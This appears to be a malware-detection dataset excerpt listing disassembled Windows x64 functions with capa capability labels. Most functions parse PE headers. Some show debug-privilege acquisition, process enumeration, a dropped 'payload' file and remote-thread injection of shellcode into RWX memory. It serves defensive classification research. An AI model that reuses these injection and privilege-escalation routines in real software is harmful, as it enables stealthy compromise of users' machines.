joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140026a80
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140026a98
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140026aa0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140026ab0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x140026afd
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140026af4
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x140026aff
add rax, 0x28
cmp rax, r9
jne 0x140026ae0
xor eax, eax
ret

Function at 0x140026b00
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140026b90
mov rdx, qword [0x140034580]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x140026b7e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x140026b7e
cmp word [rax + 0x18], 0x20b
jne 0x140026b7e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140026b90
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140026b69
add rbx, 0x28
cmp rbx, rdi
je 0x140026b90
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140026b60
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140026ba0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140034580]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140026bc0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140026bc8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140026bc0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x140026c1d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140026c14
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140026bc0
add rax, 0x28
cmp rax, r9
jne 0x140026c00
xor eax, eax
ret

Function at 0x140026c20
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140034580]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x140026c3f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140026c48
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x140026c3f
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x140026c60
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x140034580]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140026c80
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140026c88
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140026c80
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140026cd0
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140026cc7
test rcx, rcx
je 0x140026c80
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x140026cb8
xor eax, eax
ret

Function at 0x140026ce0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140034580]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x140026cff
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140026d08
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140026d20
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140034580]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140026d40
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140026d48
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140026d40
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140026d40
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140026d94
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140026da0
add rdx, 0x28
cmp r9, rdx
jne 0x140026d80
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140026db0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x140034580]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140026dd2
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140026de0
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140026dd2
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140026dd2
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140026dd2
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140026e35
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140026e48
add rdx, 0x28
cmp rdx, r10
jne 0x140026e20
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140026e57
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140026e67
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140026e3e
test ecx, ecx
jg 0x140026e50
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140002860
Capabilities:
Enumerate process modules

Disassembly:
mov dword [rsp + 8], ecx
push rdi
sub rsp, 0x490
mov rax, qword [0x1400a3c48]
xor rax, rsp
mov qword [rsp + 0x480], rax
mov qword [rsp + 0x38], 0
cmp dword [rsp + 0x4a0], 0
je 0x14000289e
mov eax, dword [rsp + 0x4a0]
mov dword [rsp + 0x24], eax
jmp 0x1400028aa
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x24]
mov dword [rsp + 0x30], eax
xor edx, edx
mov ecx, 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0xffffffffffffffff
je 0x14000296e
lea rax, [rsp + 0x40]
mov rdi, rax
xor eax, eax
mov ecx, 0x438
rep stosb byte [rdi], al
mov dword [rsp + 0x40], 0x438
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Module32FirstW
test eax, eax
je 0x140002902
mov byte [rsp + 0x20], 1
jmp 0x140002907
mov byte [rsp + 0x20], 0
movzx eax, byte [rsp + 0x20]
mov byte [rsp + 0x22], al
jmp 0x14000293a
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Module32NextW
test eax, eax
je 0x14000292c
mov byte [rsp + 0x21], 1
jmp 0x140002931
mov byte [rsp + 0x21], 0
movzx eax, byte [rsp + 0x21]
mov byte [rsp + 0x22], al
movzx eax, byte [rsp + 0x22]
test eax, eax
je 0x140002963
mov eax, dword [rsp + 0x30]
cmp dword [rsp + 0x68], eax
jne 0x140002961
lea rcx, [rsp + 0x270]
call fcn.140001800
mov qword [rsp + 0x38], rax
jmp 0x140002963
jmp 0x140002912
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x480]
xor rcx, rsp
call fcn.14001b9d0
add rsp, 0x490
pop rdi
ret

Function at 0x140003150
Capabilities:
Acquire debug privileges

Disassembly:
sub rsp, 0x88
mov rax, qword [0x1400a3c48]
xor rax, rsp
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x38], rax
lea r8, [rsp + 0x48]
mov edx, 0x28
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov dword [rsp + 0x30], eax
lea r8, [rsp + 0x40]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x50], 1
mov eax, 0xc
imul rax, rax, 0
mov rcx, qword [rsp + 0x40]
mov qword [rsp + rax + 0x54], rcx
mov eax, 0xc
imul rax, rax, 0
mov dword [rsp + rax + 0x5c], 2
lea rax, [rsp + 0x34]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9d, 0x1c
lea r8, [rsp + 0x50]
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.14001b9d0
add rsp, 0x88
ret
Function at 0x140007740
Capabilities:
Create thread
Enumerate processes

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x2a0
mov rax, qword [0x1400a3c48]
xor rax, rsp
mov qword [rsp + 0x298], rax
mov qword [rsp + 0x30], 0
xor edx, edx
mov ecx, 6
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0xffffffffffffffff
je 0x14000783e
mov dword [rsp + 0x50], 0x238
lea rax, [rsp + 0x54]
mov rdi, rax
xor eax, eax
mov ecx, 0x234
rep stosb byte [rdi], al
lea rdx, [rsp + 0x50]
mov rcx, qword [rsp + 0x38]
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x14000781f
lea rdx, [0x140047110]
lea rcx, [rsp + 0x7c]
call fcn.140022710
test eax, eax
je 0x1400077db
lea rdx, [0x1400471b0]
lea rcx, [rsp + 0x7c]
call fcn.140022710
test eax, eax
jne 0x14000780c
mov r8d, dword [rsp + 0x58]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x14000780c
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x14000781f
lea rdx, [rsp + 0x50]
mov rcx, qword [rsp + 0x38]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x1400077b1
cmp qword [rsp + 0x30], 0
je 0x140007832
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
jmp 0x140007840
mov rax, qword [rsp + 0x2b0]
cmp qword [rax + 0x88], 0
je 0x1400078c8
mov rax, qword [rsp + 0x2b0]
mov r9, qword [rax + 0x88]
lea r8, [0x140047158]
xor edx, edx
xor ecx, ecx
call fcn.140009160
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
inc eax
cdqe
mov rcx, rax
call fcn.14001b3c8
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x2b0]
mov rcx, qword [rsp + 0x48]
mov qword [rax + 0x98], rcx
mov rax, qword [rsp + 0x2b0]
mov r8, qword [rax + 0x88]
lea rdx, [0x1400471f0]
mov rax, qword [rsp + 0x2b0]
mov rcx, qword [rax + 0x98]
call fcn.1400092b0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, qword [rsp + 0x2b0]
lea r8, [0x140008f40]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, qword [rsp + 0x2b0]
mov qword [rcx + 0x58], rax
mov rcx, qword [rsp + 0x298]
xor rcx, rsp
call fcn.14001b9d0
add rsp, 0x2a0
pop rdi
ret
Function at 0x140008b80
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x280
mov rax, qword [0x1400a3c48]
xor rax, rsp
mov qword [rsp + 0x278], rax
xor edx, edx
mov ecx, 6
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0xffffffffffffffff
je 0x140008c26
mov dword [rsp + 0x30], 0x238
lea rax, [rsp + 0x34]
mov rdi, rax
xor eax, eax
mov ecx, 0x234
rep stosb byte [rdi], al
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x140008c1b
lea rdx, [0x140046ed8]
lea rcx, [rsp + 0x5c]
call fcn.140022710
test eax, eax
jne 0x140008c08
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x140008c54
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x140008be4
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0x290]
mov r8, qword [rax + 0x80]
lea rdx, [0x140046ef8]
mov rcx, qword [rsp + 0x290]
call fcn.140008170
xor al, al
jmp 0x140008c54
mov rcx, qword [rsp + 0x278]
xor rcx, rsp
call fcn.14001b9d0
add rsp, 0x280
pop rdi
ret
Function at 0x140013ce0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x190
mov rax, qword [0x1400a3c48]
xor rax, rsp
mov qword [rsp + 0x180], rax
mov dword [rsp + 0x44], 0
mov edx, 0x104
mov rcx, qword [rsp + 0x1a0]
call fcn.140015e70
mov r8, qword [rsp + 0x1a0]
lea rdx, str.Log:resFullName:__s_n
mov rcx, qword [0x1400a4eb8]
call fcn.140008170
mov rax, qword [0x1400a4eb0]
mov rcx, qword [rax + 0x20]
call fcn.1400228a0
mov qword [rsp + 0x58], rax
mov rcx, qword [0x1400a4eb0]
mov rcx, qword [rcx]
call fcn.1400228a0
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x1a0]
call fcn.1400228a0
mov rcx, qword [rsp + 0x60]
add rcx, rax
mov rax, rcx
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0x104
jb 0x140013da8
mov r8d, dword [rsp + 0x40]
lea rdx, str.Log:stack_overrun__length:_ulDestinationSize____d___n
mov rcx, qword [0x1400a4eb8]
call fcn.140008170
jmp 0x140013dc0
mov r8d, dword [rsp + 0x40]
lea rdx, str.Log:ulDestinationSize:__d_n
mov rcx, qword [0x1400a4eb8]
call fcn.140008170
mov rax, qword [0x1400a4eb0]
mov r8, qword [rax]
lea rdx, str.Log:resHandler__ResorceFileName:__s_n
mov rcx, qword [0x1400a4eb8]
call fcn.140008170
lea rax, [rsp + 0x70]
mov rdi, rax
xor eax, eax
mov ecx, 0x104
rep stosb byte [rdi], al
mov rax, qword [0x1400a4eb0]
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
mov rax, qword [0x1400a4eb0]
mov r9, qword [rax + 0x20]
mov r8, qword [rsp + 0x1a0]
lea rdx, str._hs_hs_hs
lea rcx, [rsp + 0x70]
call fcn.1400092b0
lea r8, [rsp + 0x70]
lea rdx, str.Log:Payload_File___hs_n
mov rcx, qword [0x1400a4eb8]
call fcn.140008170
mov r8d, 0x104
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x1a0]
call fcn.14001c450
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
mov rcx, qword [rsp + 0x1a0]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140013eed
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x4c]
mov rax, qword [0x1400a4eb0]
mov r8d, dword [rax + 0x18]
mov rax, qword [0x1400a4eb0]
mov rdx, qword [rax + 0x10]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [rsp + 0x48], eax
cmp dword [rsp + 0x48], 0
je 0x140013ee2
mov rax, qword [0x1400a4eb0]
mov eax, dword [rax + 0x18]
cmp dword [rsp + 0x4c], eax
jne 0x140013ee2
mov dword [rsp + 0x44], 1
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x44]
mov rcx, qword [rsp + 0x180]
xor rcx, rsp
call fcn.14001b9d0
add rsp, 0x190
pop rdi
ret
Function at 0x140013f10
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0xe0
lea rax, [rsp + 0x70]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
mov dword [rsp + 0x70], 0x68
mov dword [rsp + 0xac], 0x100
xor eax, eax
mov word [rsp + 0xb0], ax
lea rax, [rsp + 0x50]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov r9, qword [rsp + 0xf8]
mov r8, qword [rsp + 0xf0]
lea rdx, str.Log:Executing__s__s_n
mov rcx, qword [0x1400a4eb8]
call fcn.140008170
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xf0]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jge 0x140013fe1
mov eax, 0xffffffff
jmp 0x140013fe5
mov eax, dword [rsp + 0x60]
add rsp, 0xe0
pop rdi
ret

Function at 0x140014150
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x1b0
mov rax, qword [0x1400a3c48]
xor rax, rsp
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0x30], 0
lea rax, [rsp + 0x50]
mov rdi, rax
xor eax, eax
mov ecx, 0x40
rep stosb byte [rdi], al
mov r9d, 0x40
lea r8, [rsp + 0x50]
mov rdx, qword [rsp + 0x1c8]
mov rcx, qword [rsp + 0x1c0]
call fcn.140014c50
movzx eax, al
test eax, eax
je 0x14001429f
movzx eax, word [rsp + 0x50]
cmp eax, 0x5a4d
jne 0x14001429f
lea rax, [rsp + 0x90]
mov rdi, rax
xor eax, eax
mov ecx, pe_nt_image_headers64
rep stosb byte [rdi], al
movsxd rax, dword [rsp + 0x8c]
mov rcx, qword [rsp + 0x1c8]
add rcx, rax
mov rax, rcx
mov r9d, pe_nt_image_headers64
lea r8, [rsp + 0x90]
mov rdx, rax
mov rcx, qword [rsp + 0x1c0]
call fcn.140014c50
movzx eax, al
test eax, eax
je 0x14001429f
cmp dword [rsp + 0x90], 0x4550
jne 0x14001429f
mov eax, dword [rsp + 0xe4]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
je 0x14001429f
mov eax, dword [rsp + 0x20]
mov ecx, eax
call fcn.14001b3c8
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x28], rax
mov eax, dword [rsp + 0x20]
mov r9d, eax
mov r8, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x1c8]
mov rcx, qword [rsp + 0x1c0]
call fcn.140014c50
movzx eax, al
test eax, eax
je 0x140014289
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
jmp 0x14001429f
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x40], rax
xor edx, edx
mov rcx, qword [rsp + 0x40]
call fcn.14001b3c0
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x1a0]
xor rcx, rsp
call fcn.14001b9d0
add rsp, 0x1b0
pop rdi
ret
Function at 0x1400143e0
Capabilities:
Inspect section memory permissions

Disassembly:
mov dword [rsp + 8], ecx
sub rsp, 0x28
mov dword [rsp], 0
mov eax, dword [rsp + 0x30]
and eax, 0x20000000
test eax, eax
je 0x140014467
mov eax, dword [rsp + 0x30]
and eax, 0x40000000
test eax, eax
je 0x140014438
mov eax, dword [rsp + 0x30]
and eax, 0x80000000
test eax, eax
je 0x140014420
mov dword [rsp + 4], 0x40
jmp 0x140014428
mov dword [rsp + 4], 0x20
mov eax, dword [rsp + 4]
mov ecx, dword [rsp]
or ecx, eax
mov eax, ecx
mov dword [rsp], eax
jmp 0x140014465
mov eax, dword [rsp + 0x30]
and eax, 0x80000000
test eax, eax
je 0x14001444f
mov dword [rsp + 8], 0x80
jmp 0x140014457
mov dword [rsp + 8], 0x10
mov eax, dword [rsp + 8]
mov ecx, dword [rsp]
or ecx, eax
mov eax, ecx
mov dword [rsp], eax
jmp 0x1400144d0
mov eax, dword [rsp + 0x30]
and eax, 0x40000000
test eax, eax
je 0x1400144a3
mov eax, dword [rsp + 0x30]
and eax, 0x80000000
test eax, eax
je 0x14001448b
mov dword [rsp + 0xc], 4
jmp 0x140014493
mov dword [rsp + 0xc], 2
mov eax, dword [rsp + 0xc]
mov ecx, dword [rsp]
or ecx, eax
mov eax, ecx
mov dword [rsp], eax
jmp 0x1400144d0
mov eax, dword [rsp + 0x30]
and eax, 0x80000000
test eax, eax
je 0x1400144ba
mov dword [rsp + 0x10], 8
jmp 0x1400144c2
mov dword [rsp + 0x10], 1
mov eax, dword [rsp + 0x10]
mov ecx, dword [rsp]
or ecx, eax
mov eax, ecx
mov dword [rsp], eax
mov eax, dword [rsp + 0x30]
and eax, 0x4000000
test eax, eax
je 0x1400144e7
mov eax, dword [rsp]
bts eax, 9
mov dword [rsp], eax
mov eax, dword [rsp]
add rsp, 0x28
ret
Function at 0x1400153d0
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x90
mov byte [rsp + 0x40], 0
lea rax, [0x140016060]
lea rcx, [0x140016000]
sub rax, rcx
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x44]
add rax, 0x18
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x70], rax
cmp qword [rsp + 0x70], 0
je 0x1400155be
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x60], rax
mov eax, dword [rsp + 0x44]
mov rcx, qword [rsp + 0x60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x78]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rcx, [0x140048c20]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x140048c10]
mov rcx, rax
call fcn.1400158e0
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x80], rax
mov eax, dword [rsp + 0x44]
mov r9d, eax
lea r8, [0x140016000]
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0xa0]
call fcn.140014d30
movzx eax, al
test eax, eax
je 0x1400155a2
mov r9d, 0x18
lea r8, [rsp + 0x78]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0xa0]
call fcn.140014d30
movzx eax, al
test eax, eax
je 0x1400155a2
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x60]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x1400155a2
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x48], 0x54fd32fc
lea rdx, [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
je 0x140015597
cmp dword [rsp + 0x48], 0xab02cd03
jne 0x140015597
mov r9d, 0x18
lea r8, [rsp + 0x78]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0xa0]
call fcn.140014c50
movzx eax, al
test eax, eax
je 0x140015597
movzx eax, byte [rsp + 0x88]
mov byte [rsp + 0x40], al
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
movzx eax, byte [rsp + 0x40]
add rsp, 0x90
pop rdi
ret
Function at 0x140015bc0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x2b0
mov rax, qword [0x1400a3c48]
xor rax, rsp
mov qword [rsp + 0x2a8], rax
mov rcx, qword [rsp + 0x2c0]
call fcn.1400228a0
inc rax
mov qword [rsp + 0x58], rax
mov eax, 2
mul qword [rsp + 0x58]
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
call fcn.14001b3c8
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x140015c66
mov rdi, qword [rsp + 0x28]
xor eax, eax
mov rcx, qword [rsp + 0x40]
rep stosb byte [rdi], al
cmp qword [rsp + 0x28], 0
je 0x140015c51
xor eax, eax
mov rcx, qword [rsp + 0x28]
mov word [rcx], ax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x48], rax
jmp 0x140015c5a
mov qword [rsp + 0x48], 0
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
jmp 0x140015c6f
mov qword [rsp + 0x50], 0
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x2c0]
mov rcx, qword [rsp + 0x38]
call fcn.1400296e4
nop
xor edx, edx
mov ecx, 6
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0xffffffffffffffff
je 0x140015d19
mov dword [rsp + 0x60], 0x238
lea rax, [rsp + 0x64]
mov rdi, rax
xor eax, eax
mov ecx, 0x234
rep stosb byte [rdi], al
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x30]
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x140015d0e
mov rdx, qword [rsp + 0x38]
lea rcx, [rsp + 0x8c]
call fcn.140022710
test eax, eax
jne 0x140015cfb
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x140015d3c
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x30]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x140015cd6
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8, qword [rsp + 0x38]
lea rdx, str.Log:isProcessRunning:false:_ls__n
mov rcx, qword [0x1400a4eb8]
call fcn.140008170
xor al, al
jmp 0x140015d3c
mov rcx, qword [rsp + 0x2a8]
xor rcx, rsp
call fcn.14001b9d0
add rsp, 0x2b0
pop rdi
ret